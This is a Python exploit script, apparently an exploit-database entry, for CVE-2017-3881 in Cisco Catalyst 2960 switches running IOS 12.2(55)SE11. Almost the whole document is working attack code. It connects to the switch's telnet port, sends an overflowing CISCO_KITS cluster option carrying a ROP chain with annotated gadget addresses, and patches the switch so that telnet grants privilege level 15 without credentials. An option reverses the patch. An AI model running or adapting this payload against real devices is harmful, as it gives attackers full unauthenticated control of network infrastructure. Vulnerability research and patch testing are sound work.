Cisco Catalyst 2960 IOS 12.2(55)SE11 Remote Code Execution

`#!/usr/bin/python  
# Exploit Title: Cisco Catalyst 2960 - Buffer Overflow  
# Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/  
# Date: 04.10.2017  
# Exploit Author: https://twitter.com/artkond  
# Vendor Homepage: https://www.cisco.com/  
# Version: IOS version c2960-lanbasek9-mz.122-55.SE11)  
# Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11  
# CVE : CVE-2017-3881  
# Description:  
#  
# The exploit connects to the Catalyst switch and patches  
# it execution flow to allow credless telnet interaction   
# with highest privilege level  
#  
  
  
import socket  
import sys  
from time import sleep  
  
set_credless = True  
  
if len(sys.argv) < 3:  
print sys.argv[0] + ' [host] --set/--unset'  
sys.exit()  
elif sys.argv[2] == '--unset':  
set_credless = False  
elif sys.argv[2] == '--set':  
pass  
else:  
print sys.argv[0] + ' [host] --set/--unset'  
sys.exit()  
  
  
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1], 23))  
  
print '[+] Connection OK'  
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))  
print '[+] Sending cluster option'  
print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'  
  
  
  
payload = '\xff\xfa\x24\x00'  
payload += '\x03CISCO_KITS\x012:'  
payload += 'A' * 116  
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;  
#next bytes are shown as offsets from r1  
payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34  
if set_credless is True:  
payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1  
else:  
payload += '\x00\x04\xeA\xe0' # unset   
payload += 'BBBB' # +16(+0) r1 points here at second gadget  
payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;  
payload += 'CCCC' # +8   
payload += 'DDDD' # +12  
payload += 'EEEE' # +16(+0) r1 points here at third gadget  
payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;   
payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8  
payload += 'FFFF' # +12   
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget   
payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;  
if set_credless:  
payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;   
else:  
payload += '\x00\x04\xe7\x78' # unset  
payload += 'HHHH' # +12  
payload += 'IIII' # +16(+0) r1 points here at fifth gadget  
payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;  
payload += 'JJJJ' # +8 r1 points here at third gadget  
payload += 'KKKK' # +12  
payload += 'LLLL' # +16  
payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr  
payload += ':15:' + '\xff\xf0'  
  
s.send(payload)  
  
print '[+] All done'  
  
s.close()  
  
`